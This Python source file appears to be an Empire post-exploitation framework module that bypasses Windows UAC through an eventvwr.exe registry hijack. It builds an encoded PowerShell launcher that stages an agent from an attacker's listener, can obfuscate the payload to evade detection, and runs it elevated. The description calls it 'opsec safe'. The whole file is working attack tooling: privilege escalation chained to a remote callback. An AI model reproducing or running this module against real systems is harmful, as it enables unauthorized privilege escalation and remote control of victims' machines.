from __future__ import print_function
from builtins import str
from builtins import object
from lib.common import helpers

class Module(object):

    def __init__(self, mainMenu, params=[]):

        self.info = {
            'Name': 'Invoke-EventVwrBypass',

            'Author': ['@enigma0x3'],

            'Description': ("Bypasses UAC by performing an image hijack on the .msc file extension and starting eventvwr.exe. "
                            "No files are dropped to disk, making this opsec safe."),

            'Software': '',

            'Techniques': ['T1088'],

            'Background' : True,

            'OutputExtension' : None,
            
            'NeedsAdmin' : False,

            'OpsecSafe' : True,
            
            'Language' : 'powershell',

            'MinLanguageVersion' : '2',
            
            'Comments': [
                'https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/',
            ]
        }

        # any options needed by the module, settable during runtime
        self.options = {
            # format:
            #   value_name : {description, required, default_value}
            'Agent' : {
                'Description'   :   'Agent to run module on.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'Listener' : {
                'Description'   :   'Listener to use.',
                'Required'      :   True,
                'Value'         :   ''
            },
            'UserAgent' : {
                'Description'   :   'User-agent string to use for the staging request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            },
            'Proxy' : {
                'Description'   :   'Proxy to use for request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            },
            'ProxyCreds' : {
                'Description'   :   'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
                'Required'      :   False,
                'Value'         :   'default'
            } 
        }
        
        # save off a copy of the mainMenu object to access external functionality
        #   like listeners/agent handlers/etc.
        self.mainMenu = mainMenu

        for param in params:
            # parameter format is [Name, Value]
            option, value = param
            if option in self.options:
                self.options[option]['Value'] = value


    def generate(self, obfuscate=False, obfuscationCommand=""):

        listenerName = self.options['Listener']['Value']

        # staging options
        userAgent = self.options['UserAgent']['Value']
        proxy = self.options['Proxy']['Value']
        proxyCreds = self.options['ProxyCreds']['Value']

        # read in the common module source code
        moduleSource = self.mainMenu.installPath + "/data/module_source/privesc/Invoke-EventVwrBypass.ps1"
        if obfuscate:
            helpers.obfuscate_module(moduleSource=moduleSource, obfuscationCommand=obfuscationCommand)
            moduleSource = moduleSource.replace("module_source", "obfuscated_module_source")
        try:
            f = open(moduleSource, 'r')
        except:
            print(helpers.color("[!] Could not read module source path at: " + str(moduleSource)))
            return ""

        moduleCode = f.read()
        f.close()

        script = moduleCode

        if not self.mainMenu.listeners.is_listener_valid(listenerName):
            # not a valid listener, return nothing for the script
            print(helpers.color("[!] Invalid listener: " + listenerName))
            return ""
        else:
            # generate the PowerShell one-liner with all of the proper options set
            launcher = self.mainMenu.stagers.generate_launcher(listenerName, language='powershell', encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
            encScript = launcher.split(" ")[-1]
            if launcher == "":
                print(helpers.color("[!] Error in launcher generation."))
                return ""
            else:
                scriptEnd = "Invoke-EventVwrBypass -Command \"%s\"" % (encScript)
                if obfuscate:
                    scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
                script += scriptEnd
                return script